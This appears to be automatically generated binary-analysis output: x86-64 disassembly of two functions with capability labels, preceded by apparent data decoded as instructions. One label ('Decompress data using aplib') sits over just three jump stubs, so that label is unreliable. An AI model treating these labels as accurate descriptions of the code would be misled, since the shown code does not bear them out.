sbb al, 2
fdiv st(7), st(0)
sbb al, 2
fdiv st(7), st(0)
sbb al, 2
fdiv st(7), st(0)
sbb al, 2
fdiv st(7), st(0)
sbb al, 2
fdiv st(7), st(0)
sbb al, 2
fdiv st(7), st(0)
sbb al, 1
fdiv st(7), st(0)
sbb al, 1
invalid
sbb al, 1
invalid
Function at 0x140037ecc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140037f16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140037f16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140037f16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140037f16
cmp dword [rcx + 0x84], 0xe
jbe 0x140037f16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140037f18
xor al, al
add rsp, 0x28
ret
Function at 0x181b17000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x181b1700a
jmp 0x181b1900f
jmp fcn.181721058